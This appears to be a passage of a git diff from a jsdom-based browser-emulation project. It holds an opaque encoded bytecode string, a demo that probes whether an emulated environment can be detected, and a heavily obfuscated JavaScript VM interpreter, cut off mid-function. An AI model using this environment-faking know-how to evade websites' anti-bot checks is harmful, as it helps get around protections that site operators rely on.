K$BK>K0#|OTJ(H)*004*K+K0)(6:K006004*K+K0)(KF)(T:(8)*014*K+K#=)(K$BT9(7)*014*K+K#>)(K>T563014*K+K|I)(K,)(C|(K|I}T#PT?6=4*K+0700K|QK|I)(K|?)(T563014*K+K#7)(K,)(CWK%U}PK}P#IT866K}P014*K+K}J)(3563014*K+K}6)(K,)(C|9K}8}|1K}P#|)QAK}P#:T866K}P014*K+K}J)(K,J:O8K$C63014*K+K~9)(3+K$CK,)(C7KW?1)|4.}B.|Y)(C8K}-?1)|4.}B.|Y)(C/K~<.B)(C/K$A.G)(C~6K#86~.}~+#}YSNK>#GQE?5)|D2-)|EK>R#1#-3+K#?#-3+K}.K#@3}.}}+KE#|W3|T,|QCUK}<}NK|AK>K0#C3A6?KEK|AK>K0046-K>K#@K}<)(K,)(CSK|S}LKDK>K0#B3@6>KEKDK>K0046-K>K#@K|S)(K,)(K,K,)(0/K|QKF)(J|QO|NK$D(|H)*0/KSK$D)(6|:,|.CWK~9}P#LJEOCK}/6>21)J2-)JR#A014*K+K}6)(3+K}/K,)(C.KM.B)(0/K},KF)(J6<4*K+K2K:KM00K#FK|?)(T765K2K:0/KEK$H)(TL(J)*014*K+K#G)(6;K:?.)@K:KM0/K2K}H)(K,)(0/K|6KF)(T~9(~6)*00K|6K$G)(6}Z,}NC}KK#E}}CK2K:#}:J7O5KE014*K+K#C)(J4O2KM0.KEKM)(JBO@K$I6;K:?.)@K:KM0/K2K}H)(T765K2K:0/KEK$J)(T>6<4*K+K2K:KM00K#FK|?)(T:(8)*014*K+K#G)(K$IK,)(0/K|6KF)(S~-K2K:KM#}TJ0O.K~>)|8J7O5KH014*K+K#D)(Q|.KH#GT1(/)*K~>KHT:(8)*014*K+K#D)(K|Z#014*K+K#G)(N|-J.O,K..4?.)KK.KM1.)O)(K.#FTD(B)~L04K2?.)@K:K.))0/K~>K.))K#F3+K|6K,JO)|8T?6=4*K+0700K},K|I)(K|?)(J6O4K0004*K+K0)(J4O2KH0.K0KH)(J6O4K|.0/K0K|.)(Q|M?A)|D014*K+K#=)(014*K+K~<)(#;T9(7)*K}>00K|.K~;)(#NT9(7)*K}>00K|.K~=)(T9(7)*014*K+K#5)(.BQ~4GP)|/014*K+K}?)(?@)|D08014*K+K}?)(K$N)(K}>#PTN6L4*K+G5)|/KH0.KHK2)(07014*K+K}?)(KN)(#|CTY(W)*014*K+K}?)(6HK|.4*K+G5)|/KH0.KHK2)(00K}>K|?)(TA(?)*08014*K+K}?)(K$N)(K}>K,)(CQK$6}JK2K:#BT@6>K2K:08014*K+K}?)(K#E)(K,)(C#)K~9}~T#~OJ0O.K}/)|8J>O21)J2-)JR#A014*K+K}6)(#ZTG(E)*K}/6>21)J2-)JR#A014*K+K}6)(T765K}/00K|9K$M)(3+K}/K,)(C7KM?1)|4.}B.|Y)(0/K},KF)(J}8O}5K}R(}/)*0/KSK}R)(6|T,|HCGKN}AK}S#:T866K}S014*K+K~.)(K,)(CXK|>}QK~?#J3H6F4*K+0@G9)|BK~?014*K+K~?)(K|O)(K,)(0/K|+KF)(J)(K,)(C#1K|,}#)K$T#~TJ0O.K|))|8J;O9KD65K$T00K}:K|,)(J5O3K}T0.KDK2)(Q}5GM)|/?7)|D0/K}T.4)).$R?7)|D0/K}T.B)).$S#|K0##-TB(@)*K06:K006004*K+K0)(KF)(JK00/KEK~;)(J;O9KD65K|A00K#IK}8)(J6O4K~@0/K#IK0)(3}96}6,}*C.KDKD)(C.K>K>)(C5KH0/K~@KH)()(C/K%VKE)(C7K|.00K~@K|.)()(C7K|900K~@K|9)()(C4KM0.KEKM)()(C6K~?0/K0K}0)()(0/K}RKY)(K,)(C}?K|S}}7KEKDK>K0#}*TB(@)*K06:K006004*K+K0)(KF)(TF(D)*KD6>KD0/K0K}0)(014*K+K#J)(JMOKK~A6F0.KDKD)(0<65K>K00/KEK~=)(K}8)(3+K~AK,)(C|3K#J}|+KDK}0#UQS?5)|D2-)|EKDR#1#<3:68KD4*K+00K}0K|,)(#,3*KDK,)(0/K|+KF)(J6QK}1K|)0I6B,7C5KW?/)@KWK}-)(0/K~:KY)(K$W)(#|3J|0O|-K>6|(K}1K|)0S6L,AC5KW?/)@KWK}-)(C0K|@K|@)(0/K~:KY)(K$W)(JSOQKH6M69KW050.K>K2)(K}H)(?/);K}-.80/K|(KY)(T<(:)*0.K>K?)(?.);KW.83O6M,BC.K>K>)(C.KHKH)(C0K|)K|))(0/K}RKY)(K,)(JbSObPK#?(bJ)*0/KSK#?)(6b<,b0CIK06C,2C0K~BK$V)(050/K}.K0)(KF)()(C#)K}<}~TKEK|AK}1K0#~ETB(@)*K06:K006004*K+K0)(KF)(J|4O|1K}26|+K}10.KEKW)(0/KEK}-)(0/K0K|))(0/K0K|@)(060/K0K~B)(K#K)(T=(;)*0.K0KH)(0/K}2KH)(JSOQKD6M4*K+KEK|A0/K}2K>)(K00700K}.K}<)(K|?)(T664K}20/KDK~.)(3*KDK,)(C#9K|S}#1KEKDK}1K0#~VTB(@)*K06:K006004*K+K0)(KF)(TF(D)*KD6>KD0/K0K}0)(014*K+K#J)(J|4O|1K}26|+K}10.KEKW)(0/KEK}-)(0/KDK|))(0/K0K|@)(060/K0K~B)(K#K)(T=(;)*0.K0KH)(0/K}2KH)(JSOQK~A6L4*K+KEKD0/K}2K>)(K00700K}.K|S)(K|?)(3+K~AK,)(0/K}.KF)(K,T}$,6}$(}}#W#}#QJ.O,KRKXJ5O3KS0/KRK}E)(J6O4K}=0/KSK}=)(J6O4K}90/KRK#9)(J.O,KAP(J/O-K#LP(J/O-K|TP(J/O-K|UP(J/O-K|VP(J/O-K|WP(J/O-K~CP(J/O-K~DP(J/O-K~EP(J/O-K~FP(Ti)6hY}hV#hQJ/O-K|0P(N|VJ.O,K..4?/)KK..~O1.)O)(K.#|:Q|7?/)KK..}B#?T=(;)*0/K|0K.))?.)3K..B#FTD(B)*0/K|0K.))?5)7?.)3K..B.%8J/O-K|1.4J/O-K|F.4Nf5J.O,K..4?/)KK..~O1.)O)(K.#eLJ|4O|1K|2?|+)7?Q)7?C)7?6)7K|F?/)3K|F.B?/)3K|F.G?0)3K|F.|5?/)3K|F.8TL(J)*K|2?C)7?<)7?/)/K|2.-?/)-K|2.6.%7T8(6)*0/KAK|1))K|2T9(7)*00K#LK|2))K|1J7O5K}A00K|0K|1))J7O5K~M00K|0K}A))J7O5K~N00K|0K~M))JKOIK5?E)7?7);00K|0K|2)).#V?0);K|2.$XTJ(H)*00K|TK|1))?:)=?.)3K5.)7?0);K~N.%W?0);K~M.%X?0);K}A.#V?0);K|1.$XTJ(H)*00K~CK|2))?:)=?.)3K5.K|007K|0?0)7K~NK}A))))))TA(?)~LK|F07K|000K|0K|F))))K,JJOHK$YPC.4.B.G.8.-.C.|Y.}Y.}B.%4.%5J|kCO|k?K}3(|k8)*00K}9K}3)(6|k(,|jNCl/K#7}kZ#kUQ|(GQ)|/014*K+K#M)(?A)}@014*K+K$Z)(014*K+K#>)(#,3*K,K,JFODK>(@)*014*K+K$Z)(014*K+K#>)(J5O3K%(0.K>K2)(J;O9KW?5)|40.K>K?)(.8JEOCK~G(>)*014*K+K#M)(?/)@KW.}WJTB(@)*K5?:)=?.)3K5.-?.)/K5.OKPK:KTK|TK|UK|VK|WKA#rXJ8O6K~G014*K+K#M)(JAO?K|:?:)70.KPK:))0.KT.4))JGOEK|;?@)704KP?.)@K:.B))0.KT.B))JGOEK|(<)*05KP?/)@K:.|5))K~*K,)(C7KW?1)|4.~O.|Y)(0/K}=KF)(TD(B)*0/KRK}3)(65K}300K}=K#8)(K,T#7(#4)*014*K+K%+)(}~WK~I#~NJIOGK~,6BK~I0=060/KXK|H)(K|7)(K|,)(J}MO}JK%,6}DK~,6BR%-0=060/KXK|H)(K|7)(K|,)(,|ECHKH6BR%.0=060/KXK|H)(K|7)(K|,)()(C=K|.060/KXK|.)(K|6)()(C=K|9060/KXK}C)(K}Q)()(060/KXK}3)(K}<)(346200K%,K|>)(K%+T#,(#))*004*K+K9)(}~MK~I#~EJ0O.K~,K~IJ}MO}JK|S6}DK~,6BR%-0=060/KXK|H)(K|7)(K|,)(,|ECHKH6BR%.0=060/KXK|H)(K|7)(K|,)()(C=K|.060/KXK|.)(K|6)()(C=K|9060/KXK}C)(K}Q)()(060/KXK}3)(K|S)(3D6B060/KXK|H)(K|7)(00K|SK|>)(K9Ej8#j,JHOFK16B65R%Y004*K+R9))014*K+K%Z)(Q|L2|.)J?|))|C63R&(0.K1R9))0J09K163R}U0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&)0.K1R9))0J09K163R}U0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&*0.K1R9))0J09K163R}U0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&+0.K1R9))0J09K163R}U0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&,0.K1R9))0J09K163R}U0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&-0.K1R9))0J09K163R#Q0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&.0.K1R9))0J09K163R#Q0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&/0.K1R9))0J09K163R#Q0.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,Q|L2|.)J?|))|C63R&00.K1R9))0J09K163R&10.K1R9))))63R|K0.K1R9))))#?9=B;09K163R|L0.K1R9))))K,TA6?63R&20.K1R9))00K&3K&4)(;-K#T#(K,") \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo10.js b/env_xbb_lastest_jsdom/knowledge/检测/demo10.js new file mode 100644 index 00000000..ad721364 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo10.js @@ -0,0 +1,9 @@ +function test_unscopables() { + if (window.Element.prototype[Symbol.unscopables].after) { + } else { + console.log(`window.Element.prototype[Symbol.unscopables].after 可以被检测`); + } + +} + +test_unscopables() diff --git a/env_xbb_lastest_jsdom/exporte_Env.js b/env_xbb_lastest_jsdom/knowledge/检测/demo12.js similarity index 100% rename from env_xbb_lastest_jsdom/exporte_Env.js rename to env_xbb_lastest_jsdom/knowledge/检测/demo12.js diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo2.js b/env_xbb_lastest_jsdom/knowledge/检测/demo2.js new file mode 100644 index 00000000..0cfa2c1d --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo2.js @@ -0,0 +1,205 @@ +!function (_0x188f82, _0x3651eb, _0x1f45ad, _0x39b458, _0x460792, _0x33d73e, _0x260831, _0xc632b9, _0x2e98e8, _0x42f6ed, _0x5164d4, _0x170fa3, _0x5bdd89, _0x3ebfbb, _0x3d5a9b, _0xa2cb7d, _0x4a1f70, _0x64a135, _0x2c4c2d, _0x21a6ff, _0x39ff5e, _0x21c30d, _0x5cc54f, _0x3a1804, _0x574943, _0x42ecee, _0x586d2f, _0x599d86, _0x75888d, _0x362063, _0x13f87d, _0x598365, _0x3f092f, _0x1e3aa5, _0x29142d, _0x3e8c34, _0x37b4a4, _0x380911, _0x2b094d, _0x587399, _0x24906f, _0x421350, _0x25454f, _0x49c310, _0x5803ee, _0x31b224, _0x2707a3, _0x7bccb4, _0x91d4f1, _0x1bfbba, _0xa13bd3, _0x5ddd7b, _0x32ee85, _0x2d423b, _0x53e80f, _0x4510ad, _0xac0f88, _0x2b5656, _0x42c862, _0x4e2c9a, _0x52265b, _0x1b6e77, _0x2512ce, _0x518ec6, _0x5b2928, _0x33c57a, _0x41ba31, _0x4a40ff, _0x438fdd, _0x4cade0, _0x51a541, _0x4ecad6, _0x494546, _0x182b61, _0x35bc29, _0x4ae35e, _0x19f49e, _0x314f96, _0x50ccd7, _0x3336e8, _0x3a971, _0x47d391, _0x1a2c1b, _0xd78518, _0x825d02, _0x164511, _0x54ea64, _0x39c222, _0x5d7027, _0x372908, _0x1527dc, _0x4386e2, _0x302e6d, _0x3b901c, _0x51b94c, _0x2a48fc, _0x323b0a, _0x4e457a, _0x27828b, _0x19c148, _0x9d883, _0x1b8336, _0x1dcf2e, _0x34ae58, _0x2f3264, _0x1589af, _0x28a6d4, _0x419697, _0xa630e3, _0xb163b8, _0x1b8b7e, _0x9996b0, _0x541c3b, _0x4e1a0c, _0x355cbd, _0x17b6b2, _0x3aed8d, _0x9cf0c1, _0x115cb8, _0x3fd505, _0xf2e54c, _0x56d095, _0x382df6, _0x49a2c8, _0x2be633, _0x429145, _0x366221, _0x329709, _0xcfb95f, _0x201a59, _0x5b19f4, _0x1b4a42, _0x36991f, _0x142b20, _0x5e95a3, _0x3768b4, _0x29786b, _0x2e7acb, _0x3536ed, _0x1fa6d3, _0x4feea5, _0x2598cc, _0x59b813) { + function _0x3ed55e(_0x396af1, _0x18fc86, _0x2e4d3e, _0x1fc541, _0x44976e, _0x1d1bcb, _0x5722ea, _0x70b42, _0x2a3f21, _0x489445) { + return _0x18fc86 == _0x355cbd ? (_0x1fc541 ? _0x2e4d3e[_0x302e6d][_0x53e80f[_0x2512ce]]() || _0x2e4d3e[_0x382df6][_0x53e80f[_0x2512ce]]() : _0x2e4d3e[_0x302e6d][_0x53e80f[_0x1b6e77]](_0x4510ad) || _0x2e4d3e[_0x382df6][_0x53e80f[_0x1b6e77]](_0x4510ad)) && undefined : _0x18fc86 == _0x115cb8 ? (_0x2e4d3e = {}) && (_0x2e4d3e[_0x302e6d] = []) && (_0x2e4d3e[_0x382df6] = []) && ((_0x2e4d3e[_0x1a2c1b] = _0x4510ad) || _0xac0f88) && _0x2e4d3e : _0x18fc86 == _0x41ba31 ? _0x2e4d3e ? _0x1fc541[_0x362063(_0x1fc541) - _0xac0f88] : _0x1fc541[_0x362063(_0x1fc541) - _0xac0f88] = _0x44976e : _0x18fc86 == _0xa630e3 ? _0x598365(_0x1fc541, _0x1589af) ? _0x3f092f(_0x1fc541, _0x1589af) : _0x598365(_0x1fc541, _0x4cade0) ? _0x3f092f(_0x1fc541, _0x4cade0) : _0x44976e ? _0x5803ee(_0x2e4d3e, _0x1fc541) : _0x3f092f(_0x1fc541, _0x27828b) : _0x18fc86 == _0x52265b ? ((_0x44976e = {})[_0x53e80f[_0x28a6d4]] = _0x2e4d3e) && _0x44976e : _0x18fc86 == _0x2be633 ? _0x2e4d3e[_0x53e80f[_0x4386e2]] : _0x18fc86 == _0x3a971 ? !(_0x44976e = _0x2c4c2d[_0x2e4d3e[_0x1fc541]]) || _0x1fc541 != _0x1589af && _0x1fc541 != _0x27828b ? _0x44976e : _0x2e4d3e[_0x53e80f[_0x115cb8]] ? _0x42ecee[_0x2e4d3e[_0x53e80f[_0x115cb8]]] : ((_0x2e4d3e[_0x53e80f[_0x115cb8]] = _0x2e4d3e[_0x53e80f[_0x2b5656]] + _0x53e80f[_0x115cb8] + (_0x2e4d3e[_0x53e80f[_0x39c222]] ^ _0x19f49e)) || _0xac0f88) && ((_0x42ecee[_0x2e4d3e[_0x53e80f[_0x115cb8]]] = _0x1e3aa5(_0x2b5656, _0x1e3aa5(_0xac0f88, _0x44976e), _0x2e4d3e[_0x53e80f[_0x39c222]] & _0x2e7acb)) || _0xac0f88) && _0x42ecee[_0x2e4d3e[_0x53e80f[_0x115cb8]]] : _0x18fc86 == _0x3b901c ? (_0x1d1bcb = _0x29142d(_0x1fc541 ? _0x2e4d3e[_0x53e80f[_0x47d391]](_0x1fc541) : _0x2e4d3e)) && [_0x44976e ? null : _0x2e4d3e[_0x53e80f[_0x47d391]](_0x1fc541 + _0x1d1bcb[_0xac0f88], _0x1fc541 + _0x1d1bcb[_0x4510ad] + _0x1d1bcb[_0xac0f88]), _0x1fc541 + _0x1d1bcb[_0x4510ad] + _0x1d1bcb[_0xac0f88]] : _0x18fc86 == _0xd78518 ? (_0x599d86 += _0xac0f88) && _0x460792 : _0x18fc86 == _0x142b20 ? _0x44976e && _0x1fc541 != _0x53e80f[_0x3336e8] ? _0x75888d[_0x53e80f[_0x51a541]](_0x2e4d3e, _0x1fc541) : _0x1fc541 in _0x2e4d3e : _0x18fc86 == _0x419697 ? ((_0x598365(_0x2e4d3e, _0x27828b) ? _0x2d423b[_0x4510ad][_0x3f092f(_0x2e4d3e, _0x27828b)] = _0x2d423b[_0x4e2c9a][_0x1fc541] : _0x598365(_0x2e4d3e, _0x825d02) ? _0x2d423b[_0x4510ad][_0x3f092f(_0x3f092f(_0x2e4d3e[_0x825d02], _0x27828b), _0x27828b)] = _0x5164d4(_0x2d423b[_0x4e2c9a])[_0x53e80f[_0x2a48fc]](_0x7bccb4)[_0x53e80f[_0x47d391]](_0x1fc541) : _0xac0f88) || _0xac0f88) && undefined : _0x18fc86 == _0x1dcf2e ? _0x2d423b[_0x4e2c9a][_0x2e4d3e] : _0x18fc86 == _0x3aed8d ? _0x2e4d3e == _0xac0f88 ? _0x1e3aa5(_0xac0f88, _0x5ddd7b(_0x42c862, _0x1fc541))[_0x4510ad] ^ _0x44976e & _0x2e7acb : _0x2e4d3e == _0x2b5656 ? _0x1e3aa5(_0x2b5656, _0x1e3aa5(_0xac0f88, _0x5ddd7b(_0x42c862, _0x1fc541)), _0x44976e & _0x2e7acb) : _0x2e4d3e == _0x42c862 ? _0x2e98e8(_0x1fc541[_0x53e80f[_0x2f3264]](_0x3a1804, _0x53e80f[_0x3b901c])) : undefined : _0x18fc86 == _0x429145 ? _0x44976e == _0x5b2928 ? _0x5ddd7b(_0xac0f88, _0x2e4d3e, _0x1fc541) : _0x44976e == _0x27828b ? _0x5ddd7b(_0x42c862, _0x2e4d3e) : _0x44976e == _0x2512ce ? null : _0x44976e == _0x1589af ? _0x5ddd7b(_0x42c862, _0x2e4d3e) : _0x44976e == _0x4cade0 ? _0x170fa3(_0x5ddd7b(_0x2b5656, _0x2e4d3e, _0x1fc541)) : _0x44976e == _0x4386e2 ? !!_0x5bdd89(_0xc632b9(_0x5ddd7b(_0xac0f88, _0x2e4d3e, _0x1fc541))) : _0x44976e == _0x4510ad ? _0xa2cb7d(_0x5ddd7b(_0x2b5656, _0x2e4d3e, _0x1fc541)) : _0x44976e == _0x438fdd ? ((_0x1d1bcb = _0x5ddd7b(_0x2b5656, _0x2e4d3e, _0x1fc541)) || _0xac0f88) && _0x3d5a9b(_0x1d1bcb[_0x53e80f[_0x47d391]](_0x4510ad, _0x1d1bcb[_0x53e80f[_0x52265b]](_0x53e80f[_0x115cb8])), _0x1d1bcb[_0x53e80f[_0x47d391]](_0x1d1bcb[_0x53e80f[_0x52265b]](_0x53e80f[_0x115cb8]) + _0xac0f88)) : _0x4510ad : _0x18fc86 == _0x1b4a42 ? _0x4a1f70++ && _0x599d86++ : _0x18fc86 == _0x3fd505 ? (_0x489445 = [][_0x53e80f[_0x494546]](_0x2e4d3e, [_0x2d423b = [{}, _0x1d1bcb, _0x44976e, _0x5722ea, _0x70b42]])) && (_0x1fc541 !== _0x53e80f[_0x1589af] ? _0x2d423b[_0x4510ad][_0x1fc541] = _0x2a3f21 : _0xac0f88) && _0x2d423b[_0xac0f88][_0x53e80f[_0x2a48fc]](_0x2707a3) && !(_0x396af1 - _0x4a1f70) && _0x5803ee(_0x489445, _0x2d423b[_0x2b5656], _0x24906f()) : function _0x3217d6() { + return _0x91d4f1(_0x2e4d3e, _0x1fc541, _0x44976e, _0x1d1bcb, this, arguments, _0x3217d6); + }; + } + + function _0x3fae15(_0x4f8022, _0x1f0741, _0x19389e, _0x359b75, _0x226d1e, _0xf76837, _0x43b015, _0x2440cc, _0x1611b9, _0x5e6736) { + for (_0x1f0741 == _0x47d391 ? _0xf76837 = _0x362063(_0x19389e) - _0xac0f88 : _0x1f0741 == _0x39c222 ? !(_0x43b015 = _0x4510ad) && (_0xf76837 = _0x362063(_0x19389e) - _0xac0f88) : _0x1f0741 == _0x36991f ? (_0x226d1e = _0x53e80f[_0x323b0a]) || (_0xf76837 = _0x19389e) : _0x1f0741 == _0x51a541 ? !(_0x359b75 = _0x4510ad) && !(_0x2440cc = _0x4510ad) && (_0x226d1e = _0x19389e[_0x53e80f[_0x4ae35e]](_0x5cc54f)[_0x4510ad]) && ((_0xf76837 = _0x226d1e[_0x53e80f[_0x47d391]](_0x4510ad, -_0xac0f88)) || _0xac0f88) && (_0x43b015 = _0x226d1e[_0x53e80f[_0x1b8b7e]](_0x362063(_0x226d1e) - _0xac0f88)) && ((_0x359b75 += _0x39ff5e[_0x53e80f[_0x41ba31]](_0x43b015)) || _0xac0f88) && (_0x1611b9 = _0x362063(_0xf76837) - _0xac0f88) : _0x1f0741 == _0x4ae35e ? (_0xf76837 = []) && (_0x43b015 = _0x4510ad) : _0x1f0741 == _0x56d095 ? (_0x19389e = _0x19389e[_0x53e80f[_0x4ae35e]](_0x3d5a9b(_0x5cc54f, _0x53e80f[_0xac0f88]))) && (_0x359b75 = _0x19389e[_0x53e80f[_0x47d391]](_0xac0f88, -_0xac0f88)) && (_0x226d1e = []) && _0x359b75[_0x53e80f[_0x2a48fc]](function (_0xeafa37) { + for (((_0xf76837 = _0x29142d(_0xeafa37)[_0x4510ad][_0x53e80f[_0x518ec6]](_0x4ecad6)) || _0xac0f88) && !(_0x2440cc = _0x4510ad) && (_0x43b015 = _0x518ec6 - _0x362063(_0xf76837)); _0x2440cc < _0x43b015; _0x2440cc++) { + _0xf76837 = _0x53e80f[_0x9996b0] + _0xf76837; + } + + _0x226d1e[_0x53e80f[_0x1b6e77]](_0xf76837); + }) && !(_0x2440cc = _0x4510ad) && (_0x1611b9 = _0x29142d(_0x19389e[_0x53e80f[_0x47d391]](-_0xac0f88)[_0x4510ad])[_0x4510ad][_0x53e80f[_0x518ec6]](_0x4ecad6)) : _0x1f0741 == _0x19c148 && (_0x359b75 = _0x3e8c34(_0x19389e, _0x4510ad)) && ((_0x226d1e = _0x359b75[_0x4510ad]) || _0xac0f88) && ((_0xf76837 = _0x359b75[_0xac0f88]) || _0xac0f88) && ((_0x226d1e = _0x1bfbba(_0x226d1e)) || _0xac0f88) && (_0x4f8022[_0x53e80f[_0x33c57a]] = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x4f8022, _0x1b4a42)) && (_0x4f8022[_0x53e80f[_0x518ec6]] = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x4f8022, _0xd78518)); _0x1f0741 == _0x47d391 || _0x1f0741 == _0x39c222 ? _0xf76837 >= _0x4510ad : _0x1f0741 == _0x36991f ? _0xf76837 < _0x359b75 : _0x1f0741 == _0x51a541 ? _0x1611b9 >= _0x4510ad : _0x1f0741 == _0x4ae35e ? _0x43b015 < _0x362063(_0x359b75) : _0x1f0741 == _0x56d095 ? _0x2440cc < _0x29142d(_0x19389e[_0x53e80f[_0x47d391]](_0x4510ad, _0xac0f88)[_0x4510ad])[_0x4510ad] - _0x362063(_0x359b75) * _0x518ec6 - _0x362063(_0x1611b9) : _0x1f0741 == _0x19c148 ? _0x362063(_0x226d1e) : _0x4510ad; _0x1f0741 == _0x47d391 ? _0xf76837-- : _0x1f0741 == _0x39c222 ? _0x43b015++ && _0xf76837-- : _0x1f0741 == _0x36991f ? _0xf76837++ : _0x1f0741 == _0x51a541 ? _0x1611b9-- : _0x1f0741 == _0x4ae35e ? _0x43b015++ : _0x1f0741 == _0x56d095 ? _0x2440cc++ : _0x4510ad) { + if (_0x1f0741 == _0x47d391 ? _0x598365(_0x19389e[_0xf76837][_0x4510ad], _0x359b75, _0xac0f88) && (_0x1611b9 = true) && ((_0x2440cc = _0x19389e[_0xf76837][_0x4510ad][_0x359b75] = _0x226d1e) || _0xac0f88) && _0x1611b9 : _0x1f0741 == _0x39c222 ? _0x43b015 == _0x4510ad && ((_0x359b75 == _0x53e80f[_0x1589af] ? (_0x1611b9 = true) && (_0x2440cc = null) : _0x359b75 == _0x53e80f[_0x4cade0] ? (_0x1611b9 = true) && (_0x2440cc = _0x421350(_0xac0f88, _0x19389e)[_0x4e2c9a]) : _0x359b75 == _0x53e80f[_0x51b94c] ? (_0x1611b9 = true) && (_0x2440cc = _0x19389e[_0x4510ad][_0x2512ce]) : _0x4510ad) || _0xac0f88) && _0x1611b9 || ((_0xf76837 == _0x4510ad && _0x359b75 == _0x53e80f[_0x4a40ff] ? (_0x1611b9 = true) && (_0x2440cc = _0x19389e[_0x4510ad][_0x4510ad]) : _0x598365(_0x19389e[_0xf76837][_0x4510ad], _0x359b75, _0xac0f88) ? (_0x1611b9 = true) && (_0x2440cc = _0x19389e[_0xf76837][_0x4510ad][_0x359b75]) : _0x4510ad) || _0xac0f88) && _0x1611b9 || _0xf76837 == _0x4510ad && ((_0x359b75 == _0x53e80f[_0x182b61] ? (_0x1611b9 = true) && (_0x2440cc = _0x226d1e && typeof exports == _0x53e80f[_0x1dcf2e] ? undefined : exports) : _0x359b75 == _0x53e80f[_0x438fdd] ? (_0x1611b9 = true) && (_0x2440cc = _0x226d1e && typeof module == _0x53e80f[_0x1dcf2e] ? undefined : module) : _0x359b75 == _0x53e80f[_0x9cf0c1] ? (_0x1611b9 = true) && (_0x2440cc = _0x226d1e && typeof require == _0x53e80f[_0x1dcf2e] ? undefined : require) : ((_0x2440cc = _0x19389e[_0xf76837][_0x4510ad][_0x359b75]) || _0xac0f88) && (_0x2440cc || _0x359b75 in _0x19389e[_0xf76837][_0x4510ad]) && (_0x1611b9 = true)) || _0xac0f88) && _0x1611b9 : _0x1f0741 == _0x36991f ? (_0x226d1e += _0xc632b9(_0xf76837)) && _0x4510ad : _0x1f0741 == _0x51a541 ? ((_0x359b75 += _0x21c30d[_0x53e80f[_0x41ba31]](_0xf76837[_0x53e80f[_0x1b8b7e]](_0x1611b9)) * _0x3ebfbb(_0x362063(_0x21c30d), _0x2440cc) * _0x362063(_0x39ff5e)) || _0xac0f88) && _0x2440cc++ && _0x4510ad : _0x1f0741 == _0x4ae35e ? (_0xf76837[_0x43b015] = _0x19389e == _0xac0f88 ? _0x359b75[_0x53e80f[_0x4ecad6]](_0x43b015) : _0xc632b9(_0x359b75[_0x43b015] ^ _0x226d1e)) && _0x4510ad : _0x1f0741 == _0x56d095 ? (_0x1611b9 = _0x53e80f[_0x9996b0] + _0x1611b9) && _0x4510ad : _0x1f0741 == _0x19c148 ? (_0x1611b9 = _0x5bdd89(_0x226d1e[_0x53e80f[_0x47d391]](_0x4510ad, _0xac0f88), _0x4ecad6)) && ((_0x5e6736 = _0x5bdd89(_0x226d1e[_0x53e80f[_0x47d391]](_0xac0f88, _0xac0f88 + _0x1611b9), _0x4ecad6)) || _0xac0f88) && (_0x43b015 = _0xac0f88 + _0x1611b9) && (_0x2440cc = _0x43b015 + _0x5e6736) && _0x64a135[_0x53e80f[_0x1b6e77]](_0x226d1e[_0x53e80f[_0x47d391]](_0x43b015, _0x2440cc)) && (_0x226d1e = _0x226d1e[_0x53e80f[_0x47d391]](_0x2440cc)) && _0x4510ad : _0x4510ad) { + return _0x2440cc; + } + } + + if (_0x1f0741 == _0x39c222 && !_0x226d1e) { + throw _0x42f6ed(_0x359b75 + _0x53e80f[_0x27828b]); + } + + return _0x1f0741 == _0x47d391 ? _0x19389e[_0x4510ad][_0x4510ad][_0x359b75] = _0x226d1e : _0x1f0741 == _0x36991f ? _0x226d1e : _0x1f0741 == _0x51a541 ? [_0x359b75, _0x362063(_0x226d1e)] : _0x1f0741 == _0x4ae35e ? _0x19389e == _0xac0f88 ? _0xf76837 : _0xf76837[_0x53e80f[_0x19c148]](_0x53e80f[_0x323b0a]) : _0x1f0741 == _0x56d095 ? _0x226d1e[_0x53e80f[_0x1b6e77]](_0x1611b9) && _0x226d1e[_0x53e80f[_0x19c148]](_0x53e80f[_0x323b0a]) : _0x1f0741 == _0x19c148 ? _0x19389e[_0x53e80f[_0x47d391]](_0xf76837) : void 0; + } + + function _0x5803ee(_0x174e74, _0x43825b, _0xbae930, _0x3619e5, _0x2a86d7, _0x244e98, _0x30cd9e, _0x463eda, _0x42de02, _0x59bfed, _0x229afd, _0x3bc71a, _0x2da710, _0x6be020, _0x176b51, _0x3cb557, _0x55c2c0, _0xfd8688, _0x4f8780, _0x3df2f4, _0x31e0ca, _0x3be420, _0x502de2, _0x27cdb4, _0x37aa9c, _0x3c721f, _0x1adb89, _0x6e8507, _0x59fd58, _0x2aee8a) { + return (_0x42de02 = _0xbae930[_0x463eda = _0xbae930[_0x53e80f[_0x2b5656]]]) && _0x463eda == _0x3a971 ? function () { + throw _0x5803ee(_0x43825b, _0x42de02[_0x4510ad]); + }() : _0x463eda == _0x3b901c ? function () { + debugger; + }() : _0x463eda == _0x5b2928 || _0x463eda == _0x1589af || _0x463eda == _0x4cade0 || _0x463eda == _0x4386e2 || _0x463eda == _0x2512ce || _0x463eda == _0x4510ad || _0x463eda == _0x438fdd ? _0x3f092f(_0xbae930, _0x463eda) : _0x463eda == _0x4e457a ? _0x42de02[_0x53e80f[_0x2a48fc]](function (_0x1325d6) { + _0x5803ee(_0x43825b, _0x1325d6); + }) : _0x463eda == _0x1dcf2e ? _0x598365(_0x42de02[_0x4510ad], _0x323b0a) ? ((_0x27cdb4 = _0x5803ee(_0x43825b, _0x42de02[_0xac0f88])) || _0xac0f88) && _0x42de02[_0x4510ad][_0x323b0a][_0x53e80f[_0x2a48fc]](function (_0x2fecff, _0x5cf75b) { + _0x421350(_0xac0f88, 